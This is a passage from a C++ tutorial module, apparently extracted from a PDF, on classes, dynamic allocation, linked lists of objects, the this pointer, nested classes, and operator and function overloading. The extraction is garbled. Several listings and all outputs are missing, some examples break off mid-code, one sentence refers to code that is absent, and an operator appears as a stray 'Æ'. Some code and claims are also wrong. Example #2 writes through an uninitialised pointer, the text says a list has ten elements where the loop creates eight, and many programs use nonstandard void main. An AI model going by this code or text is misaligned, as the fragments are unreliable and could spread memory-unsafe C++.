35. void wall::set(int new_length, int new_width, int stored_value)
36. {
37. length = new_length;
38. width = new_width;
39. *point = stored_value;
40. }
41.
42. wall::~wall(void)
43. //destructor
44. {
45. length = 0;
46. width = 0;
47. delete point; //delete keyword
48. }
49.
50. //----------------------main program----------------------------
51. void main()
52. {
53. wall small, medium, large; //objects instance
54.
55. small.set(5, 7, 177);
56. large.set(15, 20, 999);
57.
58. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
59. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
60. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
61. cout<<"Third variable in class wall, pointer *point\n";
62. cout<<"----------------------------------------------\n";
63. cout<<"Stored value of the small wall surface is "<<small.get_value()<<"\n";
64. cout<<"Stored value of the medium wall surface is
65. "<<medium.get_value()<<"\n";
66. cout<<"Stored value of the large wall surface is "<<large.get_value()<<"\n";
67.
68. system("pause");
69. }
69 lines: Output:
- In line 10 we declare a pointer named point to an integer variable, but it is only a pointer, there is no
storage associated with it. The constructor therefore allocates storage for an integer type variable on
the heap (free memory space) for use with this pointer in line 30 as shown below.
- The compiler automatically determines the proper size of the object.
int *point;
...
point = new int; //new operator
- Three objects instantiated in line 53 each contain a pointer which points into the heap to three
different locations as shown below. Each object has its own dynamically storage allocated variable
for its own private use.
- Moreover each has a value of 112 stored in it dynamically because line 31 stores that value in each of
the three locations, once for each call to the constructor as shown below:
*point = 112;
- In a real program production, it would be mandatory to test that the value of the return pointer is not
NULL to assure that the data actually did get allocated.
- The method named set() has three parameters associated with it and the third parameter is used to set
the value of the new dynamically allocated variable. There are two messages passed, one to the small
wall and one to the large wall. As before, the medium wall is left with its default values.
- The three areas are displayed followed by the three stored values in the dynamically allocated
variables, and we finally have a program that requires a destructor in order to do a clean up.
- If we simply leave the scope of the objects as we do when leave the main() program, we will leave
the three dynamically allocated variables on the heap with nothing pointing to them.
- They will be inaccessible and will therefore represent wasted storage on the heap. For that reason, as
shown below, the destructor is used to delete the variable which the pointer named point is
referencing, as each object goes out of existence as in line 47.
- In this case, lines 45 and 46 as shown below assign zero to variables that will be automatically
deleted. Even though these lines of code really do no good, they are legal statements.
length = 0;
width = 0;
- Actually, in this particular case, the variables will be automatically reclaimed when we return to the
operating system because all program cleanups are done for us at that time.
- This is an example of good programming practice that of cleaning up when you no longer need the
dynamically allocated variables to free up the heap.
- Compile and run this program.
- Examine the program named obdyna.cpp carefully for our first look at dynamically allocated
object. Notice that the pointer is in the main program instead of within the class as in previous
example.
1. //Program obdyna.cpp
2. //dynamically allocated object
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6.
7. //--------------------class declaration part------------------
8. class wall
9. {
10. int length;
11. int width;
12. //two member variables
13. public:
14. wall(void);
15. //constructor declaration
16. void set(int new_length, int new_width);
17. int get_area(void);
18. //two methods
19. };
20.
21. //---------------class implementation part-------------------
22. wall::wall(void)
23. //constructor implementation
24. {
25. length = 8;
26. width = 8;
27. }
28.
29. //This method will set a wall size to the input parameters
30. void wall::set(int new_length, int new_width)
31. {
32. length = new_length;
33. width = new_width;
34. }
35.
36. //This method will calculate and return the area of a wall instance
37. int wall::get_area(void)
38. {
39. return (length * width);
40. }
41.
42. //------------------main program-----------------------------
43. void main()
44. {
45. wall small, medium, large;
46. //objects are instantiated of type class wall
47. wall *point;
48. //a pointer to a class wall
49.
50. small.set(5, 7);
51. large.set(15, 20);
52.
53. point = new wall; //new operator
54. //use the defaults value supplied by the constructor
55.
56. cout<<"Use small.set(5, 7)\n";
57. cout<<"-------------------\n";
58. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";
59. cout<<"Use default/constructor value medium.set(8, 8)\n";
60. cout<<"-----------------------------------------------\n";
61. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
62. cout<<"Use large.set(15, 20)\n";
63. cout<<"----------------------\n";
64. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
65. cout<<"Use default/constructor value, point->get_area()\n";
66. cout<<"------------------------------------------------\n";
67. cout<<"New surface area of wall "<<point->get_area()<<"\n\n";
68. cout<<"Use new value, point->set(12, 12)\n";
69. cout<<"---------------------------------\n";
70. point->set(12, 12);
71. cout<<"New surface area of wall "<<point->get_area()<<"\n";
72. delete point; //delete operator
73.
74. system("pause");
75. }
75 lines: Output:
- In line 47 as shown below, we defined a pointer to an object of type wall named point and it is
only a pointer with nothing to point to.
wall *point;
- The following code means, we dynamically allocated object storage for it in line 53, with the object
being instantiated on the heap just like any other dynamically allocated variable using the new
keyword.
- When the object is created in line 53, the constructor is called automatically to assign values to the two
internal storage variables. Note that the constructor is not called when the pointer is defined since there
is nothing to initialize. It is called when the object is allocated.
- Reference to the components of the object are handled in much the same way that structure references
are made, through the use of the pointer operator as illustrated in lines 67, 70 and 71 as shown
below.
- Alternatively, you also can use the pointer dereferencing method without the arrow such as (refer to
Module 8).
(*point).set(12, 12);
- Same as:
point->set(12, 12)
- Finally, the object is deleted in line 72 as shown below and the program terminates. If there were a
destructor for this class, it would be called automatically as part of the delete statement to clean up the
object prior to deletion.
- Notice that the use of objects is not much different from the use of structure. Compile and run this
program after you have studied it thoroughly.
- These operators provide better dynamic memory allocation compared to malloc() and free()
function calls used in C. Consider the following code:
TypeName *typeNamePtr;
- In ANSI C (ISO/IEC C), to dynamically create an object of type TypeName, you would write like this:
typeNamePtr = malloc(sizeof(TypeName));
- The new operator automatically creates a class’s object of the proper size, calls the constructor for the
object (if any) and returns a pointer of the correct type. If there is unavailable space, 0 pointer is
returned.
- Next, to free the space for the allocated class’s object, after has been used, the delete operator is
used as follows:
delete typeNamePtr;
- This initializes a newly created double object to 4.2345. Example for an array:
delete[] ObjectPtr;
- new and delete automatically invokes the constructor and destructor classes respectively.
- The program named oblist.cpp contains an object with internal reference to another object of its
own class.
- This is the standard structure used for a singly linked list and we will keep the use of it very simple in
this program.
1. //Program oblist.cpp
2. //object and list
3.
4. #include <iostream.h>
5. #include <stdlib.h>
6.
7. //-------------------class declaration part----------------
8. class wall
9. {
10. int length;
11. int width;
12. wall *another_wall; //pointer variable
13. public:
14. wall(void);
15. //constructor declaration
16. void set(int new_length, int new_width);
17. int get_area(void);
18. void point_at_next(wall *where_to_point);
19. wall *get_next(void);
20. };
21.
22. //---------------------class implementation part--------------
23. wall::wall(void)
24. //constructor implementation
25. {
26. length = 8;
27. width = 8;
28. another_wall = NULL;
29. }
30.
31. //This method will set a wall size to the input parameters
32. void wall::set(int new_length, int new_width)
33. {
34. length = new_length;
35. width = new_width;
36. }
37.
38. //This method will calculate and return the area of a wall instance
39. int wall::get_area(void)
40. {
41. return (length * width);
42. }
43.
44. //this method causes the pointer to point to the input parameter
45. void wall::point_at_next(wall *where_to_point)
46. {
47. another_wall = where_to_point;
48. }
49.
50. //this method returns the wall the current one points to
51. wall *wall::get_next(void)
52. {
53. return another_wall;
54. }
55.
56. //----------------main program--------------------------
57. void main()
58. {
59. wall small, medium, large;
60. //objects are instantiated, of type class wall
61. wall *wall_pointer;
62. //wall *point;
63. //a pointer to a wall
64.
65. small.set(5, 7);
66. large.set(15, 20);
67.
68. //point = new wall;
69. //use the defaults value supplied by the constructor
70. cout<<"Using small.set(5, 7):\n";
71. cout<<"----------------------\n";
72. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n\n";
73. cout<<"Using default/constructor value\n";
74. cout<<"-------------------------------\n";
75. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n\n";
76. cout<<"Using large.set(15, 20):\n";
77. cout<<"------------------------\n";
78. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
79.
80. small.point_at_next(&medium);
81. medium.point_at_next(&large);
82.
83. wall_pointer = &small;
84. wall_pointer = wall_pointer->get_next();
85.
86. cout<<"The wall’s pointer pointed to has area "<<wall_pointer
87. ->get_area()<<"\n";
88.
89. system("pause");
90. }
90 lines: Output:
- The constructor contains the statement in line 28 as shown below, which assigns the pointer named
another_box the value of NULL to initialize the pointer. Don’t allow any pointer to point off into
space, but initialize all pointers to point to something.
another_wall = NULL;
- By assigning the pointer within the constructor, you guarantee that every object of this class will
automatically have its pointer initialized.
- Two additional methods are declared in lines 18 and 19 as in the following code with the one in line 19
having a construct we have not yet mentioned in this Module.
- This method returns a pointer to an object of the wall class. As you are aware, you can return a
pointer to a struct in standard C, and this is a parallel construct in C++.
- As shown below, the implementation in lines 51 through 54 returns the pointer stored as a member
variable within the object. We will see how this is used when we get to the actual program.
wall *wall::get_next(void)
{
return another_wall;
}
- An extra pointer named wall_pointer is defined in the main program for later use and in line 80
we make the embedded pointer within the small wall point to the medium wall. Line 81 makes the
embedded pointer within the medium wall point to the large wall as shown below:
small.point_at_next(&medium);
medium.point_at_next(&large);
- We have effectively generated a linked list with three elements. In line 83 we make the extra pointer
point to the small wall. Continuing in line 84 we use it to refer to the small wall and update it to the
value contained in the small wall which is the address of the medium wall.
- The code segment is shown below:
wall_pointer = &small;
wall_pointer = wall_pointer->get_next();
- We have therefore traversed from one element of the list to another by sending a message to one of the
objects. If line 84 were repeated exactly as shown, it would cause the extra pointer to refer to the
large wall, and we would have traversed the entire linked list which is only composed of three
elements.
- Figure 13.2 is a graphical representation of a portion of each object data space following the program
execution.
- Compile and run this program in preparation for our next program example.
- Keep in mind that a better solution for list can be found in Tutorial #4, the Standard Template Library,
using list Containers.
- The pointer this is defined within any object as being a pointer to the object in which it is
contained. It is a pointer and explicitly defined as:
class_n
ame
*this;
- And is initialized to point to the object for which the member function is invoked. This pointer is most
useful when working with pointers and especially with a linked list when you need to reference a
pointer to the object you are inserting into the list.
- The pointer this is available for this purpose and can be used in any object. Actually the proper way
to refer to any variable within a list is through the use of the predefined pointer this, by writing:
this->variable_name
- But the compiler assumes the pointer is used, and we can simplify every reference by omitting the
pointer.
- If using explicitly, each object can determine its own address by using this keyword.
- this pointer can be used to prevent an object from being assigned to itself.
- The following example demonstrates the use of the this pointer explicitly to enable a member
function of class ThiPoint to display the private data c of a ThiPoint object.
class ThiPoint
{
int c;
public:
ThiPoint(int);
void display();
};
void ThiPoint::display()
{
cout<<"c = "<<c<<endl;
cout<<"this->c = "<<this->c<<endl;
cout<<"(*this).c = "<<(*this).c<<endl;
//use parentheses for (*this).c because
//dot has higher precedence than *
}
void main(void)
{
ThiPoint b(10);
b.display();
system("pause");
}
Output:
- Examine the program named oblink.cpp carefully and this program is a complete example of a
linked list written in a simple object oriented notation.
- This program is very similar to the last one, oblist.cpp until we get to the main() program.
1. //Program oblink.cpp,
2. //object link list
3. #include <iostream.h>
4. #include <stdlib.h>
5.
6. //----------------------class declaration part--------------------
7. class wall
8. {
9. int length;
10. int width;
11. wall *another_wall; //pointer variable
12. public:
13. wall(void);
14. //constructor declaration
15. void set(int new_length, int new_width);
16. int get_area(void);
17. void point_at_next(wall *where_to_point);
18. wall *get_next(void);
19. };
20.
21. //-----------------------class implementation part---------------
22. wall::wall(void)
23. //constructor implementation
24. {
25. length = 8;
26. width = 8;
27. another_wall = NULL;
28. }
29.
30. //This method will set a wall size to the input parameters
31. void wall::set(int new_length, int new_width)
32. {
33. length = new_length;
34. width = new_width;
35. }
36.
37. //This method will calculate and return the area of a wall instance
38. int wall::get_area(void)
39. {
40. return (length * width);
41. }
42.
43. //this method causes the pointer to point to the input parameter
44. void wall::point_at_next(wall *where_to_point)
45. {
46. another_wall = where_to_point;
47. }
48.
49. //this method returns the wall the current one points to
50. wall *wall::get_next(void)
51. {
52. return another_wall;
53. }
54.
55. //------------------------main program--------------------
56. void main()
57. {
58. wall *start = NULL; //always point to the start of the list
59. wall *temp = NULL; //working pointer, initialize with NULL
60. wall *wall_pointer; //use for object wall instances
61.
62. //Generate the list
63. for(int index = 0; index < 8; index++)
64. {
65. wall_pointer = new wall; //new object instances
66. wall_pointer->set(index+1, index+3);
67.
68. if(start == NULL)
69. start = wall_pointer; //first element in list
70. else
71. temp->point_at_next(wall_pointer); //next element, link list
72.
73. temp = wall_pointer;
74. //print the list
75. cout<<"Starting with wall_pointer
76. ->set("<<(index+1)<<","<<(index+3)<<")"<<"\n";
77. cout<<" New Wall's surface area is " <<temp->get_area() << "\n";
78. }
79.
80. //clean up
81. temp = start;
82. do {
83. temp = temp->get_next();
84. delete start;
85. start = temp;
86. } while (temp != NULL);
87.
88. system("pause");
89. }
89 lines: Output:
- You will recall that in the last program the only way we had to set or use the embedded pointer was
through the use of two methods named point_at_next() and get_next() which are listed in
lines 17 and 18 of this program.
- We will use these to build up our linked list then traverse and print the list. Finally, we will delete the
entire list to free the space on the heap.
- In lines 58 through 60 as in the following code segment, we define three pointers for use in the
program as shown below. The pointer named start will always point to the beginning of the list, but
temp will move down through the list as we creating it.
- The pointer named wall_pointer will be used for the instantiated of each object. We execute the
loop in lines 63 through 78 as shown below, to generate the list where line 65 dynamically allocates a
new object of the wall class and line 66 fills it with some data for illustration.
- If this is the first element in the list, the start pointer is set to point to this element, but if the
elements already exist, the last element in the list is assigned to point to the new element. In either
case, the temp pointer is assigned to point to the last element of the list, in preparation for adding
another element if any.
- In line 73, the pointer named temp is caused to point to the first element at the beginning and it is
used to increment its way through the list by updating itself in line 71 during each pass through the
loop. When temp has the value of NULL, which it gets from the list, we are finished traversing the list.
- Finally, we delete the entire list by starting at the beginning and deleting one element each time we pass
through the loop in lines 81 through 86. The code segment is shown below:
temp = start;
do{
temp = temp->get_next();
delete start;
start = temp;
} while (temp != NULL);
- This program generates a linked list of ten elements, each element being an object of class wall.
- Compile and run this program example.
- A better solution for list can be found in Part III of this tutorial, the Standard Template Library, using
list Containers.
- Examine the program named obnest.cpp for an example of nesting classes which results in nested
objects.
- This program example contains a class named box which contains an object of another class embedded
within it in line 25, the mail_info class as shown below. It is depicted graphically in figure 13.3.
- This object is available for use only within the class implementation of box because that is where it is
defined, it is local scope.
mail_info label;
- The main() program has objects of class box defined but no objects of class mail_info, so the
mail_info class cannot be referred to in the main() program.
- In this case, the mail_info class object is meant to be used internally to the box class and one
example is given in line 32 as shown below where a message is sent to the label.set() method to
initialize the variables.
label.set(ship, post);
- Additional methods could be used as needed, but these are given as an illustration of how they can be
called.
1. //Program obnest.cpp
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---------first class declaration---------------
6. class mail_info
7. {
8. int shipper;
9. int postage;
10. public:
11. void set(int input_class, int input_postage)
12. {
13. shipper = input_class;
14. postage = input_postage;
15. }
16. int get_postage(void)
17. { return postage;}
18. };
19.
20. //----------Second class declaration---------------
21. class box
22. {
23. int length;
24. int width;
25. mail_info label;
26.
27. public:
28. void set(int l, int w, int ship, int post)
29. {
30. length = l;
31. width = w;
32. label.set(ship, post);
33. //Accessing the first class, mail_info set() method
34. }
35.
36. int get_area(void) { return (length * width);}
37. };
38.
39. //----------------------main program------------------
40. void main()
41. {
42. box small, medium, large; //object instances
43.
44. small.set(2,4,1,35);
45. medium.set(5,6,2,72);
46. large.set(8,10,4,98);
47.
48. cout<<"Normal class-->small.get_area()\n";
49. cout<<"-------------------------------\n";
50. cout<<"Area of small box surface is "<<small.get_area()<< "\n\n";
51. cout<<"Normal class-->medium.get_area()\n";
52. cout<<"-------------------------------\n";
53. cout<<"Area of medium box surface is "<<medium.get_area() << "\n\n";
54. cout<<"Normal class-->large.get_area()\n";
55. cout<<"-------------------------------\n";
56. cout<<"Area of large box surface is "<<large.get_area()<<"\n\n";
57.
58. system("pause");
59. }
59 lines: Output:
- The fact is that there are never any objects of the mail_info class declared directly in the main()
program, they are inherently declared when the enclosing objects of class box are declared.
- The objects of the mail_info class could be declared and used in the main() program if needed,
but they are not in this program example. In order to be complete, the box class should have one or
more methods to use the information stored in the object of the mail_info class.
- Compile and run this program.
- Examine the program named opverlod.cpp carefully; this program contains examples of operators
overloading. This allows you to define a class of objects and redefine the use of the normal operators.
1. //Program opverlod.cpp, operator overloading
2. #include <iostream.h>
3. #include <stdlib.h>
4.
5. //---------------------class declaration part------------
6. class wall
7. {
8. public:
9. int length;
10. int width;
11.
12. public:
13. void set(int l,int w) {length = l; width = w;}
14. int get_area(void) {return length * width;}
15. //operator overloading
16. friend wall operator + (wall aa, wall bb); //add two walls
17. friend wall operator + (int aa, wall bb); //add a constant to a wall
18. friend wall operator * (int aa, wall bb);
19. //multiply a wall by a constant
20. };
21.
22. //---------------------class implementation part--------------
23. wall operator + (wall aa, wall bb)
24. //add two walls widths together
25. {
26. wall temp;
27. temp.length = aa.length;
28. temp.width = aa.width + bb.width;
29. return temp;
30. }
31.
32. wall operator + (int aa, wall bb)
33. //add a constant to wall
34. {
35. wall temp;
36. temp.length = bb.length;
37. temp.width = aa + bb.width;
38. return temp;
39. }
40.
41. wall operator * (int aa, wall bb)
42. //multiply wall by a constant
43. {
44. wall temp;
45. temp.length = aa * bb.length;
46. temp.width = aa * bb.width;
47. return temp;
48. }
49.
50. void main()
51. {
52. wall small, medium, large; //object instances
53. wall temp;
54.
55. small.set(2,4);
56. medium.set(5,6);
57. large.set(8,10);
58.
59. cout<<"Normal values\n";
60. cout<<"-------------\n";
61. cout<<"Area of the small wall surface is "<<small.get_area()<<"\n";
62. cout<<"Area of the medium wall surface is "<<medium.get_area()<<"\n";
63. cout<<"Area of the large wall surface is "<<large.get_area()<<"\n\n";
64. cout<<"Overload the operators!"<<"\n";
65. cout<<"-----------------------"<<endl;
66. temp = small + medium;
67. cout<<"New value-->2 * (4 + 6)\n";
68. cout<<"New area of the small wall surface is "<<temp.get_area()<<"\n\n";
69. cout<<"New value-->2 * (10 + 4) \n";
70. temp = 10 + small;
71. cout<<"New area of the medium wall surface is "<<temp.get_area()<<"\n\n";
72. cout<<"New value-->(4 * 8) * (4 * 10)\n";
73. temp = 4 * large;
74. cout<<"New area of the large wall surface is "<<temp.get_area()<<"\n\n";
75.
76. system("pause");
77. }
77 lines: Output:
- The end result is that objects of the new class can be used in as natural as the predefined types. In fact,
they seem to be a part of the language rather than your own add-on.
- In this case we overload the + operator and the * operator, with the declarations in lines 16 through 18
as shown below, and the definitions in lines 23 through 47. The methods are declared as friend
functions, so we can use the double parameter function as listed.
- If we do not use the friend construct, the function would be a part of one of the objects and that
object would be the object to which the message was sent.
friend wall operator + (wall aa, wall bb); //add two walls
friend wall operator + (int aa, wall bb); //add a constant to a wall
friend wall operator * (int aa, wall bb);
- By including the friend construct allows us to separate this method from the object and call the
method with infix notation. Using this technique, it can be written as:
object1 + object2
- Rather than:
object1.operator + (object2)
- Also, without the friend construct we could not use an overloading with an int type variable for the
first parameter because we can not send a message to an integer type variable such as
int.operator + (object)
- Two of the three operators overloading use an int for the first parameter so it is necessary to declare
them as friend functions.
- There is no upper limit to the number of overloading for any given operator. Any number of
overloading can be used provided the parameters are different for each particular overloading.
- As shown below, the header in line 23, illustrates the first overloading where the + operator is
overloaded by giving the return type followed by the keyword operator and the operator we wish to
overload.
- The two formal parameters and their types are then listed in the parentheses and the normal function
operations are given in the implementation of the functions in lines 25 through 30 as shown below.
- Notice that the implementation of the friend functions is not actually a part of the class because the
class name is not prepended onto the method name in line 22.
{
wall temp;
temp.length = aa.length;
temp.width = aa.width + bb.width;
return temp;
}
- There is nothing unusual about this implementation; it should be easily understood by you at this point.
For purposes of illustration, some simple mathematical operations are performed in the method
implementation, but any desired operations can be done.
- The biggest difference occurs in line 65 as shown below where this method is called by using the infix
notation instead of the usual message sending format.
------------------------------------------------------------------------------------------------------------------
Infix Expression:
Any expression in the standard form such as "4*2-6/3" is an Infix (In order) expression.
Postfix Expression:
The Postfix (Post order) form of the above expression is "42*63/-".
------------------------------------------------------------------------------------------------------------------
- Since the variables small and medium are objects of the wall class, the system will search for a
way to use the + operator on two objects of class wall and will find it in the overloaded operator
+ method we have just discussed.
- In line 70 as shown below, we ask the system to add an int type constant to a small object of class
wall, so the system finds the other overloading of the + operator beginning in line 31 through 38 to
perform this operation.
temp = 10 + small;
- In line 72 as shown below, we ask the system to use the * operator to do something to an int constant
and a large object of class wall, which it satisfies by finding the method in lines 40 through 47.
temp = 4 * large;
- Note that it would be illegal to attempt to use the * operator the other way around, namely large *
4 since we did not define a method to use the two types in that order. Another overloading could be
given with reversed types, and we could then use the reverse order in a program.
- You will notice that when using operator overloading, we are also using function name overloading
since some of the function names are same. When we use operator overloading in this manner, we
actually make our programs look like the class is a natural part of the language since it is integrated into
the language so well.
- Each new part we study has its pitfalls which must be warned against and the part of operator
overloading seems to have the record for pitfalls since it is so prone to misuse and has several
problems.
- The overloading of operators is only available for classes; you cannot redefine the operators for the
predefined basic data types.
- The preprocessing symbols # and ## cannot be overloaded.
- The =, [ ], ( ), and Æ operators can be overloaded only as non-static member functions. These
operators cannot be overloaded for enum types. Any attempt to overload a global version of these
operators results in a compile-time error.
- The keyword operator followed by the operator symbol is called the operator function name; it is
used like a normal function name when defining the new (overloaded) action for the operator.
- The operator function cannot alter the number of arguments or the precedence and associativity rules
applying to normal operator use.
- Table 13.1 and 13.2 list the operators that can be overloaded and cannot be overloaded respectively.
- Which method is used is implementation dependent, so you should use them in such a way that it
doesn’t matter which is used. Compile and run the program opverlod.cpp before continuing on the
next program example.
Operators
+ - * / %
^ & | ~ !
= < > += -=
*= /= %= ^= &=
|= << >> >>= <<=
== != <= >= &&
|| ++ -- ->* ,
Æ [ ] ( ) new delete
Operators
. .* ?: ::
- Examine the program named funovlod.cpp. This is an example of function name overloading
within a class. In this program, the constructor is overloaded as well as one of the methods to illustrate
what can be done.
86 lines: Output:
- This program illustrates some of the overloaded function names and the rules for their use. You will
recall that the function selected is based on the number and types of the formal parameters only. The
type of the return value is not significant in overload resolution.
- In this case there are three constructors. The constructor which is actually called is selected by the
number and types of the parameters in the definition.
- In line 66 of the main program the three objects are declared, each with a different number of
parameters and inspection of the results will indicate that the correct constructor was called based on
the number of parameters. The code segment is:
many_names small, medium(10), large(12, 15);
- In the case of the other overloaded methods, the number and type of parameters is clearly used to select
the proper method. You will notice that the one method uses a single integer and another uses a single
float type variable, but the system is able to select the correct one.
- As many overloading as desired can be used provided that all of the parameter patterns are unique.
- Other example is the << operator which is part of the cout class, which operates as an overloaded
function since the way it outputs data is a function of the type of its input variable or the field we ask it
to display.
- Many programming languages have overloaded output functions so you can output any data with the
same function name. Compile and run this program.
- Examine the program deftmeth.cpp carefully, illustrating those methods provided by the compiler,
and why you sometimes can’t use the defaults but need to write your own, to do the job the defaults
were intended to do for you.
97 lines: Output:
- Even if you do not include any constructors or operator overloading, you get a few defined
automatically by the compiler.
- Before we actually look at the program, a few rules must be followed in order to deliver a useful
implementation such as:
▪ If no constructors are defined by the writer of a class, the compiler will automatically
generate a default constructor and a copy constructor. Both of these constructors will be
defined for you later.
▪ If the class author includes any constructor in the class, the default constructor will not be
supplied by the constructor.
▪ If the class author does not include a copy constructor, the compiler will generate one, but if
the writer includes a copy constructor, the compiler will not generate one automatically.
▪ If the class author includes an assignment operator, the compiler will not include one
automatically; otherwise it will generate a default assignment operator.
- Any class declared and used in a C++ program must have some way to construct an object because the
compiler, by definition, must call a constructor when we instantiate an object. If we don’t provide a
constructor, the compiler itself will generate one that it can call during construction of the object.
- This is the default constructor, it is compiler work and we have used it implicitly in our programs
examples. The default constructor does not initialize any of the member variables, but it sets up all of
the internal class references it needs, and calls the base constructor or constructors if they exist.
- Base constructor is a constructor in the base class, and will be discussed in inheritance Module.
- Line 14 of the program declares a default constructor as shown below which is called when you
instantiate an object with no parameters.
def(void);
- In this case, the constructor is necessary because we have an embedded string in the class that requires
a dynamic allocation and an initialization of the string pointer to the NULL.
- It will take little thought to see that our constructor is much better than the default constructor which
would leave us with an uninitialized pointer. The default constructor is used in line 81 of this program
example (8 instead of 12) as shown below.
- The copy constructor is generated automatically for you by the compiler if you fail to define one. It is
used to copy the contents of an object to a new object during construction of that new object.
- If the compiler generates it for you, it will simply copy the contents of the original into the new object
byte by byte, which may not be what you want.
- For simple classes with no pointers, that is usually sufficient, but in our program example, we have a
pointer as a class member so a byte by byte copy would copy the pointer from one to the other and they
would both be pointing to the same allocated member.
- For this reason, we declared our own copy constructor in line 16 as shown below.
def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string)
}
…
- A careful study of the implementation will reveal that the new class will indeed be identical to the
original, but the new class has its own string to work with.
- Since both constructors contain dynamic allocation, we must assure that the allocated data is destroyed
when we are finished with the objects, so a destructor is mandatory as implemented in lines 54
through 57 as shown below.
def::~def(void)
{
delete [] string;
}
…
- Generally, copy constructors are invoked whenever a copy of an object is needed such as function call
by value, when returning an object from a called function or when initializing an object to be a copy of
another object of the same class.
13.16 The Assignment Operator
- Also, an assignment operator is required for this program, because the default assignment operator
simply copies the source object to the destination object byte by byte. This would result in the same
problem we had with copy constructor.
- The assignment operator is declared in line 20 as shown below:
- Here, we de-allocate the old string in the existing object prior to allocating room for the new text and
copying the text from the source object into the new object. The assignment operator is used in line 91
as shown below.
my_data = more_data;
- It should be fairly obvious to you that when a class is defined which includes any sort of dynamic
allocation, the above three methods should be included in addition to the proper destructor.
- If any of the four entities are omitted, the program may have terribly erratic behavior. Compile and
run this program example.
Example #1
- The following example tries to show the pointer and string manipulation in class. Study the program
execution flow.
#include <iostream.h>
#include <stdlib.h>
class PlayText
{
char *NewPointerVariable;
public:
PlayText(char *InputFromMainProgPointer);
int GetData(void);
};
PlayText::PlayText(char *InputFromMainProgPointer)
{
cout<<"Location: constructor implementation part\n";
cout<<"Examine the flow of execution!!!\n";
cout<<"String brought by object from main program is
"<<"\""<<InputFromMainProgPointer<<"\""<<"\n";
cout<<"through pointer variable *InputFromMainProgPointer\n";
cout<<"Assign this string to class member pointer variable\n";
cout<<"*NewPointerVariable\n";
cout<<"Next Location: Main program\n\n";
NewPointerVariable = InputFromMainProgPointer;
}
int PlayText::GetData(void)
{
cout<<NewPointerVariable<<" = ";
return 100;
}
void main()
{
PlayText small("of small size");
Output:
Example #2
- In this example we can see how efficient regarding the memory allocation and de allocation up been
implemented.
#include <iostream.h>
#include <stdlib.h>
class LearnPointer
{
int *MemVarPoint;
public:
LearnPointer(void);
void SetData(int InputData);
int GetData(void)
{ return *MemVarPoint; };
~LearnPointer(void);
};
LearnPointer::LearnPointer(void)
{
*MemVarPoint = 100;
cout<<"In Constructor: Address of pointer *MemVarPoint is "<<&MemVarPoint<<"\n";
}
LearnPointer::~LearnPointer(void)
{
delete MemVarPoint;
}
void main()
{
LearnPointer SimpleData;
int x;
Output:
Example #3
- Compile and run the following program example of the new and delete operators.
//destructor...
TestNewDel::~TestNewDel()
{
//test how destructor is invoked...
//use static to retain previous value…
static int y=1;
cout<<"In Destructor, pass #"<<y<<endl;
y++;
//explicitly clean up...
TestVar = 0;
}
//--------------main program-----------
int main()
{
//instantiate an object...
//constructor should be invoked...
//with proper memory allocation...
TestNewDel Obj1;
system("pause");
return 0;
}
Output:
- The output using Visual C++ 6.0 (VC60) as shown below look like the cleanup job was done properly.
Destructor invoked two times that is for Obj1 and Obj2 each.
- For Borland users, if you want to see a complete output, please use its debugger such as Turbo
Debugger.
- Next, comment out the following code from the program example:
delete Obj2;
- Recompile and re run the program. In this case, let see what happen if we forgot to do the clean up/de-
allocation job explicitly for the new keyword use. The output using VC60 is shown below:
- Well, the clean up job was not done for Obj2, the destructor only invoked once. So, be careful of this
behavior.
Example #4
public:
//default constructor
TestArray(int = 4);
//copy constructor
TestArray(const TestArray &);
//destructor
~TestArray();
private:
int *ptr;
int size;
};
if((i+1)%10==0)
output<<endl;
}
if (i % 10 !=0)
output << endl;
return output;
}
//-----------main program-------------
int main()
{
//One(3) same as One = 3 and Two will use
//the default constructor value, 4
TestArray One(3), Two;
system("pause");
return 0;
}
Output:
- Well, as an assignment, I pass to you to repackage this program into three files named testarray.h
as a header file, testarray.cpp as an implementation file and mainarray.cpp as main
program.
- The following is the simple program example of the complex number for operator and function
overloading.
class complexnum
{
private:
double p, q;
public:
//constructor forming the a + bi
//overloaded function, with two arguments...
complexnum(double a, double b)
{
p = a;
q = b;
}
void main()
{
double a,b;
Output:
- Keep in mind that for complex number manipulation you better use the standard C++ library,
<complex>.
- Program example compiled using VC++/VC++ .Net.
//-------------------class implementation------------------
def::def(void)
{
size = 0;
string = new char[2];
strcpy(string, "");
}
def::def(def &in_object)
{
size = in_object.size;
string = new char[strlen(in_object.string) + 1];
strcpy(string, in_object.string);
}
def::~def(void)
{
delete [] string;
}
//--------------main program------------------
void main()
{
char buffer[80];
def my_data;
my_data.set_data(8, " small size, override default constructor ");
my_data.get_data(buffer);
cout<<" content of buffer!!\n"<<buffer<<"\n";
def more_data(my_data);
more_data.set_data(12, " medium size, override copy constructor");
my_data.get_data(buffer);
cout<<"\n content of buffer 2nd round!!\n"<<buffer<<"\n";
my_data = more_data;
my_data.get_data(buffer);
cout<<"\n content of buffer 3rd round, assignment overload!!\n"<<buffer<<"\n";
}
Output:
/////-program objarray.cpp-//////
/////-FEDORA 3, g++ x.x.x-///////
/////-object and array-//////////
#include <iostream>
using namespace std;
//------------------class declaration-------------------
class wall
{
int length;
int width;
static int extra_data;
//declaration of the extra_data static type
public:
wall(void);
void set(int new_length, int new_width);
int get_area(void);
//inline function
int get_extra(void) {return extra_data++;}
};
//------------------class implementation----------------
int wall::extra_data; //Definition of extra_data
//constructor, assigning initial values
wall::wall(void)
{
length = 8;
width = 8;
extra_data = 1;
}
//This method will set a wall size to the two input parameters
void wall::set(int new_length, int new_width)
{
length = new_length;
width = new_width;
}
//This method will calculate and return the area of a wall instance
int wall::get_area(void)
{
return (length * width);
}
//----------------------main program-------------------
int main()
{
//instantiates 7 objects
wall small, medium, large, group[4];
//assigning values
small.set(5, 7);
large.set(15, 20);
cout<<"Sending message-->small.get_area()\n";
